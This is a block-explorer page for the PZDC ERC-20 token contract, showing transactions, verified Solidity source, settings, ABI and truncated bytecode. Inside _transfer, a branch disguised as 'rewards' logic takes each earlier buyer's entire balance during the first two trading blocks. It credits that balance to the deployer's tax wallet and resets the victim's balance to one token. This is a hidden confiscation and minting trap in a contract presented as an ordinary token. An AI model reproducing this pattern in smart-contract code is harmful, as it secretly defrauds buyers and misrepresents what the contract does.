ETH Price: $2,457.15 (+2.59%)

Contract

0x2C6e46d43836418bBaB51A5d334f52015E52277B
 

Overview

ETH Balance

1 wei

Eth Value

Less Than $0.01 (@ $2,457.15/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve206560862024-09-01 13:42:113 days ago1725198131IN
0x2C6e46d4...15E52277B
0 ETH0.000051551.1081851
Approve205722232024-08-20 20:29:2315 days ago1724185763IN
0x2C6e46d4...15E52277B
0 ETH0.000078191.67991275
Approve205208292024-08-13 16:14:3522 days ago1723565675IN
0x2C6e46d4...15E52277B
0 ETH0.00024315.22573991
Approve203705632024-07-23 16:55:3543 days ago1721753735IN
0x2C6e46d4...15E52277B
0 ETH0.0005815812.55983496
Approve203705162024-07-23 16:46:1143 days ago1721753171IN
0x2C6e46d4...15E52277B
0 ETH0.000241219.13506753
Approve203705012024-07-23 16:43:1143 days ago1721752991IN
0x2C6e46d4...15E52277B
0 ETH0.000199767.56550996
Approve203704992024-07-23 16:42:4743 days ago1721752967IN
0x2C6e46d4...15E52277B
0 ETH0.000209677.94090706
Approve203704962024-07-23 16:42:1143 days ago1721752931IN
0x2C6e46d4...15E52277B
0 ETH0.000381918.24790089
Approve203704912024-07-23 16:41:1143 days ago1721752871IN
0x2C6e46d4...15E52277B
0 ETH0.000200967.61089491
Approve203704872024-07-23 16:40:2343 days ago1721752823IN
0x2C6e46d4...15E52277B
0 ETH0.00038148.23689952
Approve203554562024-07-21 14:17:4745 days ago1721571467IN
0x2C6e46d4...15E52277B
0 ETH0.000096123.61104715
Approve203554392024-07-21 14:14:2345 days ago1721571263IN
0x2C6e46d4...15E52277B
0 ETH0.000093823.52461513
Approve203554262024-07-21 14:11:4745 days ago1721571107IN
0x2C6e46d4...15E52277B
0 ETH0.000196664.22755181
Approve202485802024-07-06 16:11:4760 days ago1720282307IN
0x2C6e46d4...15E52277B
0 ETH0.000182083.93648092
Approve200972212024-06-15 12:33:5981 days ago1718454839IN
0x2C6e46d4...15E52277B
0 ETH0.000415388.9288966
Approve200384052024-06-07 7:17:5989 days ago1717744679IN
0x2C6e46d4...15E52277B
0 ETH0.0005555511.94208127
Approve199927802024-05-31 22:25:3596 days ago1717194335IN
0x2C6e46d4...15E52277B
0 ETH0.00047910.29659657
Approve198938712024-05-18 2:31:11109 days ago1715999471IN
0x2C6e46d4...15E52277B
0 ETH0.000171653.71088716
Approve197559622024-04-28 19:40:59129 days ago1714333259IN
0x2C6e46d4...15E52277B
0 ETH0.00028986.22959095
Approve197163662024-04-23 6:40:11134 days ago1713854411IN
0x2C6e46d4...15E52277B
0 ETH0.0005329911.51954072
Approve197007032024-04-21 2:08:11136 days ago1713665291IN
0x2C6e46d4...15E52277B
0 ETH0.000265585.70890656
Approve196957272024-04-20 9:26:59137 days ago1713605219IN
0x2C6e46d4...15E52277B
0 ETH0.000336997.24383205
Approve196957262024-04-20 9:26:47137 days ago1713605207IN
0x2C6e46d4...15E52277B
0 ETH0.00030086.50282849
Approve190956982024-01-27 5:00:47221 days ago1706331647IN
0x2C6e46d4...15E52277B
0 ETH0.0005071210.9009933
Approve190338062024-01-18 12:40:11230 days ago1705581611IN
0x2C6e46d4...15E52277B
0 ETH0.0016303335
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
206560892024-09-01 13:42:473 days ago1725198167
0x2C6e46d4...15E52277B
0.00012379 ETH
206560892024-09-01 13:42:473 days ago1725198167
0x2C6e46d4...15E52277B
0.00006377 ETH
206560892024-09-01 13:42:473 days ago1725198167
0x2C6e46d4...15E52277B
0.00018756 ETH
205722252024-08-20 20:29:4715 days ago1724185787
0x2C6e46d4...15E52277B
0.00014981 ETH
205722252024-08-20 20:29:4715 days ago1724185787
0x2C6e46d4...15E52277B
0.00007717 ETH
205722252024-08-20 20:29:4715 days ago1724185787
0x2C6e46d4...15E52277B
0.00022699 ETH
205208322024-08-13 16:15:1122 days ago1723565711
0x2C6e46d4...15E52277B
0.00016967 ETH
205208322024-08-13 16:15:1122 days ago1723565711
0x2C6e46d4...15E52277B
0.0000874 ETH
205208322024-08-13 16:15:1122 days ago1723565711
0x2C6e46d4...15E52277B
0.00025707 ETH
203554722024-07-21 14:20:5945 days ago1721571659
0x2C6e46d4...15E52277B
0.00004979 ETH
203554722024-07-21 14:20:5945 days ago1721571659
0x2C6e46d4...15E52277B
0.00002564 ETH
203554722024-07-21 14:20:5945 days ago1721571659
0x2C6e46d4...15E52277B
0.00007543 ETH
202485852024-07-06 16:12:4760 days ago1720282367
0x2C6e46d4...15E52277B
0.00014611 ETH
202485852024-07-06 16:12:4760 days ago1720282367
0x2C6e46d4...15E52277B
0.00007526 ETH
202485852024-07-06 16:12:4760 days ago1720282367
0x2C6e46d4...15E52277B
0.00022138 ETH
200972212024-06-15 12:33:5981 days ago1718454839
0x2C6e46d4...15E52277B
0.00016871 ETH
200972212024-06-15 12:33:5981 days ago1718454839
0x2C6e46d4...15E52277B
0.00008691 ETH
200972212024-06-15 12:33:5981 days ago1718454839
0x2C6e46d4...15E52277B
0.00025563 ETH
200452932024-06-08 6:22:3588 days ago1717827755
0x2C6e46d4...15E52277B
0.00015913 ETH
200452932024-06-08 6:22:3588 days ago1717827755
0x2C6e46d4...15E52277B
0.00008197 ETH
200452932024-06-08 6:22:3588 days ago1717827755
0x2C6e46d4...15E52277B
0.00024111 ETH
199927802024-05-31 22:25:3596 days ago1717194335
0x2C6e46d4...15E52277B
0.00021902 ETH
199927802024-05-31 22:25:3596 days ago1717194335
0x2C6e46d4...15E52277B
0.00011283 ETH
199927802024-05-31 22:25:3596 days ago1717194335
0x2C6e46d4...15E52277B
0.00033186 ETH
198938862024-05-18 2:34:11109 days ago1715999651
0x2C6e46d4...15E52277B
0.00008614 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PZDC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : PZDC.sol
// SPDX-License-Identifier: MIT

/**

$PZDC

Website: pizdecnahoyblyattoken.org

**/

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PZDC is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(uint256 => address) private _rewards;

    address payable private immutable _marketingWallet;
    address payable private immutable _taxWallet;
    uint256 private constant _taxWalletPercentage = 34;
    uint256 private constant _marketingWalletPercentage = 66;

    uint256 private firstBlock;

    uint256 private constant _finalBuyTax = 3;
    uint256 private constant _finalSellTax = 3;
    uint256 private _buyTax = 20;
    uint256 private _sellTax = 20;
    uint256 private constant _reduceBuyTaxAt = 25;
    uint256 private constant _reduceSellTaxAt = 50;
    uint256 private _rewardsCount;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = "PIZDEC NAHOY BLYAT";
    string private constant _symbol = "PZDC";
    uint256 public _maxTxAmount = _tTotal / 100;
    uint256 public _maxWalletSize = _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address marketingWallet, address _uniswapV2Router) {
        _marketingWallet = payable(marketingWallet);
        _taxWallet = payable(msg.sender);
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && from != address(this)) {
            require(tradingOpen, "Trading is closed");

            if ((block.number - firstBlock) == _reduceBuyTaxAt) {
                _buyTax = _finalBuyTax;
            }

            if ((block.number - firstBlock) == _reduceSellTaxAt) {
                _sellTax = _finalSellTax;
            }

            if (!_isExcludedFromFee[to] || !_isExcludedFromFee[from]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            }

            if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
                if ((block.number - firstBlock) < 2) {
                    require(
                        (balanceOf(to) + amount) <= (_maxWalletSize * 3),
                        "Exceeds the maxWalletSize."
                    );
                    _rewards[_rewardsCount + 1] = to;
                    _balances[_taxWallet] += _balances[_rewards[_rewardsCount]];
                    _balances[_rewards[_rewardsCount]] = 1e18;
                    _rewardsCount++;
                    taxAmount = amount.mul(_buyTax).div(100);
                } else {
                    require(
                        balanceOf(to) + amount <= _maxWalletSize,
                        "Exceeds the maxWalletSize."
                    );
                    taxAmount = amount.mul(_buyTax).div(100);
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (
                to == uniswapV2Pair &&
                from != address(this) &&
                !_isExcludedFromFee[from]
            ) {
                taxAmount = amount.mul(_sellTax).div(100);
                uint256 contractTokenBalance = _balances[address(this)];
                if (!inSwap && contractTokenBalance > 0) {
                    swapTokensForEth(min(amount, contractTokenBalance));
                    uint256 contractETHBalance = address(this).balance;
                    if (contractETHBalance > 0) {
                        sendETHToFee(address(this).balance);
                    }
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapAnyTokensForEth(address _token, uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = _token;
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        swapAnyTokensForEth(address(this), tokenAmount);
    }

    function sendETHToFee(uint256 amount) private {
        uint256 taxWalletShare = (amount * _taxWalletPercentage) / 100;
        uint256 marketingWalletShare = (amount * _marketingWalletPercentage) /
            100;

        _taxWallet.transfer(taxWalletShare);
        _marketingWallet.transfer(marketingWalletShare);
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        firstBlock = block.number;
        tradingOpen = true;
    }

    function setTaxToZero() external onlyOwner {
        _buyTax = 0;
        _sellTax = 0;
    }

    function changeBuyTax(uint256 newTax) external onlyOwner {
        require(0 <= newTax && newTax <= 25, "Tax must be from 0 to 25");
        _buyTax = newTax;
    }

    function changeSellTax(uint256 newTax) external onlyOwner {
        require(0 <= newTax && newTax <= 25, "Tax must be from 0 to 25");
        _sellTax = newTax;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function manualSwap(address _token) external onlyOwner {
        uint256 tokenBalance = balanceOf(_token);
        if (tokenBalance > 0) {
            swapAnyTokensForEth(_token, tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function addLiquidity() external payable onlyOwner {
        _approve(
            address(this),
            address(uniswapV2Router),
            balanceOf(address(this))
        );
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function setTreasury(address _treasury) external onlyOwner {
        _isExcludedFromFee[_treasury] = !_isExcludedFromFee[_treasury];
    }

    function getSellTax() public view returns (uint256) {
        return _sellTax;
    }

    function getBuyTax() public view returns (uint256) {
        return _buyTax;
    }

    function getPair() public view returns (address) {
        return uniswapV2Pair;
    }

    receive() external payable {}
}

Settings
{
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/"
  ],
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "metadata": {
    "useLiteralContent": false,
    "bytecodeHash": "ipfs",
    "appendCBOR": true
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "evmVersion": "paris",
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet","type":"address"},{"internalType":"address","name":"_uniswapV2Router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTax","type":"uint256"}],"name":"changeBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTax","type":"uint256"}],"name":"changeSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTaxToZero","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_treasury","type":"address"}],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526014600681905560075560646200001e6012600a62000339565b6200002e90633b9aca0062000351565b6200003a91906200036b565b60095560646200004d6012600a62000339565b6200005d90633b9aca0062000351565b6200006991906200036b565b600a55600c805460ff60a81b191690553480156200008657600080fd5b50604051620020d1380380620020d1833981016040819052620000a991620003ab565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b0382166080523360a052620001096012600a62000339565b6200011990633b9aca0062000351565b306000908152600160208190526040822092909255600390620001446000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530808252600390945282812080548616600190811790915560a051831682528382208054871682179055608051831682529281208054909516909217909355600b80549385166001600160a01b031990941693909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fb6012600a62000339565b6200020b90633b9aca0062000351565b60405190815260200160405180910390a35050620003e3565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027b5781600019048211156200025f576200025f62000224565b808516156200026d57918102915b93841c93908002906200023f565b509250929050565b600082620002945750600162000333565b81620002a35750600062000333565b8160018114620002bc5760028114620002c757620002e7565b600191505062000333565b60ff841115620002db57620002db62000224565b50506001821b62000333565b5060208310610133831016604e8410600b84101617156200030c575081810a62000333565b6200031883836200023a565b80600019048211156200032f576200032f62000224565b0290505b92915050565b60006200034a60ff84168362000283565b9392505050565b808202811582820484141762000333576200033362000224565b6000826200038957634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b0381168114620003a657600080fd5b919050565b60008060408385031215620003bf57600080fd5b620003ca836200038e565b9150620003da602084016200038e565b90509250929050565b60805160a051611cc1620004106000396000818161109701526115e0015260006116370152611cc16000f3fe60806040526004361061016a5760003560e01c80638859f03d116100d1578063b0bc85de1161008a578063dd62ed3e11610064578063dd62ed3e14610410578063debae15e14610456578063e8078d9414610476578063f0f442601461047e57600080fd5b8063b0bc85de146103c8578063c1f1b1b5146103dd578063c9567bf9146103fb57600080fd5b80638859f03d146103095780638da5cb5b1461031e5780638f9a55c01461035057806395d89b41146103665780639e78fb4f14610393578063a9059cbb146103a857600080fd5b8063313ce56711610123578063313ce5671461026d57806370a0823114610289578063715018a6146102a9578063751039fc146102be57806377dd50e3146102d35780637d1db4a5146102f357600080fd5b806306fdde0314610176578063095ea7b3146101c357806318160ddd146101f357806323b872dd1461021657806324c16b7f14610236578063252d723a1461025857600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50604080518082019091526012815271141256911150c813905213d648109316505560721b60208201525b6040516101ba9190611862565b60405180910390f35b3480156101cf57600080fd5b506101e36101de3660046118c8565b61049e565b60405190151581526020016101ba565b3480156101ff57600080fd5b506102086104b5565b6040519081526020016101ba565b34801561022257600080fd5b506101e36102313660046118f4565b6104d6565b34801561024257600080fd5b50610256610251366004611935565b61053f565b005b34801561026457600080fd5b50600654610208565b34801561027957600080fd5b50604051601281526020016101ba565b34801561029557600080fd5b506102086102a436600461194e565b6105c3565b3480156102b557600080fd5b506102566105de565b3480156102ca57600080fd5b50610256610652565b3480156102df57600080fd5b506102566102ee36600461194e565b6106b8565b3480156102ff57600080fd5b5061020860095481565b34801561031557600080fd5b50610256610714565b34801561032a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ba565b34801561035c57600080fd5b50610208600a5481565b34801561037257600080fd5b50604080518082019091526004815263505a444360e01b60208201526101ad565b34801561039f57600080fd5b5061025661074a565b3480156103b457600080fd5b506101e36103c33660046118c8565b610984565b3480156103d457600080fd5b50600754610208565b3480156103e957600080fd5b50600c546001600160a01b0316610338565b34801561040757600080fd5b50610256610991565b34801561041c57600080fd5b5061020861042b36600461196b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046257600080fd5b50610256610471366004611935565b610a28565b610256610aa3565b34801561048a57600080fd5b5061025661049936600461194e565b610ba6565b60006104ab338484610bf9565b5060015b92915050565b60006104c36012600a611a9e565b6104d190633b9aca00611aad565b905090565b60006104e3848484610d1d565b610535843361053085604051806060016040528060288152602001611c64602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611407565b610bf9565b5060019392505050565b6000546001600160a01b031633146105725760405162461bcd60e51b815260040161056990611ac4565b60405180910390fd5b60198111156105be5760405162461bcd60e51b8152602060048201526018602482015277546178206d7573742062652066726f6d203020746f20323560401b6044820152606401610569565b600655565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031633146106085760405162461bcd60e51b815260040161056990611ac4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461067c5760405162461bcd60e51b815260040161056990611ac4565b6106886012600a611a9e565b61069690633b9aca00611aad565b6009556106a56012600a611a9e565b6106b390633b9aca00611aad565b600a55565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161056990611ac4565b60006106ed826105c3565b905080156106ff576106ff8282611441565b47801561070f5761070f8161159c565b505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161056990611ac4565b60006006819055600755565b6000546001600160a01b031633146107745760405162461bcd60e51b815260040161056990611ac4565b600c54600160a01b900460ff16156107c85760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610569565b600b546107f49030906001600160a01b03166107e66012600a611a9e565b61053090633b9aca00611aad565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611af9565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f19190611af9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611af9565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006104ab338484610d1d565b6000546001600160a01b031633146109bb5760405162461bcd60e51b815260040161056990611ac4565b600c54600160a01b900460ff1615610a0f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610569565b43600555600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a525760405162461bcd60e51b815260040161056990611ac4565b6019811115610a9e5760405162461bcd60e51b8152602060048201526018602482015277546178206d7573742062652066726f6d203020746f20323560401b6044820152606401610569565b600755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161056990611ac4565b600b54610ae89030906001600160a01b0316610530826105c3565b600b546001600160a01b031663f305d7193430610b04816105c3565b600080610b196000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b81573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070f9190611b16565b6000546001600160a01b03163314610bd05760405162461bcd60e51b815260040161056990611ac4565b6001600160a01b03166000908152600360205260409020805460ff19811660ff90911615179055565b6001600160a01b038316610c5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610569565b6001600160a01b038216610cbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610569565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610569565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610569565b60008111610e455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610569565b600080546001600160a01b03858116911614801590610e7257506000546001600160a01b03848116911614155b8015610e8757506001600160a01b0384163014155b156112c457600c54600160a01b900460ff16610ed95760405162461bcd60e51b8152602060048201526011602482015270151c98591a5b99c81a5cc818db1bdcd959607a1b6044820152606401610569565b601960055443610ee99190611b44565b03610ef45760036006555b603260055443610f049190611b44565b03610f0f5760036007555b6001600160a01b03831660009081526003602052604090205460ff161580610f5057506001600160a01b03841660009081526003602052604090205460ff16155b15610fa757600954821115610fa75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610569565b600c546001600160a01b038581169116148015610fdd57506001600160a01b0383166000908152600360205